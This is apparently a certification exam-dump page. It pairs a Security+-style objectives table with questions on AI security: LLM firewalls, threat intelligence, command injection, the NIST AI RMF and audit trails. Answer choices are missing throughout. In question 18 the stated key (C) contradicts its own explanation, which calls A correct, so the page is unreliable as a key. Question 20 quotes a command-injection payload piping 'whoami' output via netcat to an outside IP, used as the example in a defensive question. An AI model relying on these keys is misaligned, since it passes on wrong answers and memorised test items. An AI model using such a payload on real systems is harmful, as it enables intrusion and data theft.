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| Section | Weight | Objectives |
|---|---|---|
| Governance, Risk, and Compliance | 14% | - Compare and contrast various types of security controls - Given a scenario, follow organizational security policies and procedures - Summarize regulations, standards, and frameworks that impact organizations - Explain risk management processes and concepts - Explain privacy and sensitive data concepts in relation to security |
| Attacks, Threats, and Vulnerabilities | 24% | - Explain threat actor types and attributes - Explain penetration testing concepts - Given a scenario, analyze potential indicators associated with application attacks - Given a scenario, analyze potential indicators to determine the type of attack - Given a scenario, analyze potential indicators associated with network attacks - Explain vulnerability scanning concepts - Compare and contrast types of social engineering attacks |
| Operations and Incident Response | 16% | - Given a scenario, use appropriate tool to assess organizational security - Summarize the importance of policies, processes, and procedures for incident response - Given a scenario, use data sources to support an investigation - Given a scenario, apply mitigation techniques or controls to secure an environment - Explain key aspects of digital forensics |
| Architecture and Design | 21% | - Summarize virtualization and cloud security concepts - Given a scenario, implement cybersecurity resilience - Summarize authentication and authorization design concepts - Explain secure application development, deployment, and automation concepts - Explain the security implications of embedded and specialized systems - Explain the importance of security concepts in an enterprise environment - Explain the importance of physical security controls - Summarize basics of cryptographic concepts |
| Implementation | 25% | - Given a scenario, implement secure systems design - Given a scenario, implement secure host settings - Given a scenario, apply cybersecurity solutions to the cloud - Given a scenario, implement secure network architecture concepts - Given a scenario, implement authentication and authorization solutions - Given a scenario, implement public key infrastructure (PKI) - Given a scenario, implement secure mobile device policies - Given a scenario, implement identity and account management controls |
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NEW QUESTION # 18
A security consultant needs to detect attacks across a large language model (LLM) firewall.
Which of the following techniques should the consultant use?
Answer: C
Explanation:
Basic Concept: LLM firewalls inspect prompts and responses to identify malicious content, policy violations, and attack attempts. To detect known attack patterns, these systems apply inspection techniques that compare content against established threat indicators. CompTIA SecAI+ Study Guide covers LLM security monitoring and detection techniques.
Why A is Correct: Signature matching compares incoming prompts and outgoing responses against a library of known attack signatures, including common prompt injection patterns, jailbreaking attempts, data exfiltration queries, and known malicious payload strings. When content matches a known attack signature, the LLM firewall can block or flag it. Signature matching is an efficient, proven detection technique for identifying known attack patterns traversing an LLM firewall.
Why B is Wrong: Distributed denial-of-service is itself a type of attack, not a detection technique. DDoS floods systems with traffic to cause service unavailability and has no role in detecting attacks through an LLM firewall.
Why C is Wrong: Translation analysis involves converting content between languages or formats. While it might be used to detect obfuscated attacks in different encodings, it is not a standard detection technique for identifying attacks crossing an LLM firewall.
Why D is Wrong: Vulnerability enumeration systematically identifies and catalogs vulnerabilities in systems or applications during security assessments. It is an assessment activity used to discover weaknesses, not a real-time detection technique for attacks traversing an LLM firewall.
NEW QUESTION # 19
Which of the following are considered threat intelligence sources? (Choose two.)
Answer: A,B
Explanation:
ISACs and OSINT provide structured and open-source threat intelligence feeds.
NEW QUESTION # 20
A security analyst receives an alert about an AI system and is investigating the following output:
Which of the following is the most appropriate control the analyst should recommend?
Answer: A
Explanation:
The output shows a command injection attempt (sub.popen('whoami | nc 11.22.33.44'...)) embedded in user input. The most effective control is user input validation, which prevents untrusted or malicious inputs from being executed as system commands, thereby securing the AI system against injection attacks.
NEW QUESTION # 21
Which of the following helps in managing potential security issues related to model training?
Answer: C
Explanation:
The NIST AI RMF provides structured guidance for identifying, assessing, and managing risks specific to AI systems, including those arising during model training. It addresses issues like bias, security, and data integrity, making it the best framework for managing training-related security concerns.
NEW QUESTION # 22
After the deployment of an AI system, an organization is unable to identify who approved the system and the method of validation. Which of the following governance failures occurred?
Answer: C
Explanation:
An audit trail is the governance mechanism that preserves evidence of actions, decisions, approvals, validation activities, and responsible parties throughout the lifecycle of an AI system. If the organization cannot establish who authorized deployment or how the system was validated, the fundamental problem is missing traceability and historical evidence. This is precisely what an audit trail should provide. CompTIA SecAI+ emphasizes governance roles, model validation, monitoring, auditing for quality and compliance, and accountability throughout the AI lifecycle. A completed threat model documents threats and attack scenarios, but it would not necessarily record deployment approval or validation evidence. Blueprint controls are not the primary mechanism for preserving historical authorization records. Organizational policies may define that approval and validation must occur, but merely having policies does not demonstrate that the required actions actually occurred. Proper audit records would identify the approver, validation method, relevant results, dates, model version, and other governance evidence. Therefore, the inability to reconstruct those decisions indicates the absence of an adequate audit trail.
NEW QUESTION # 23
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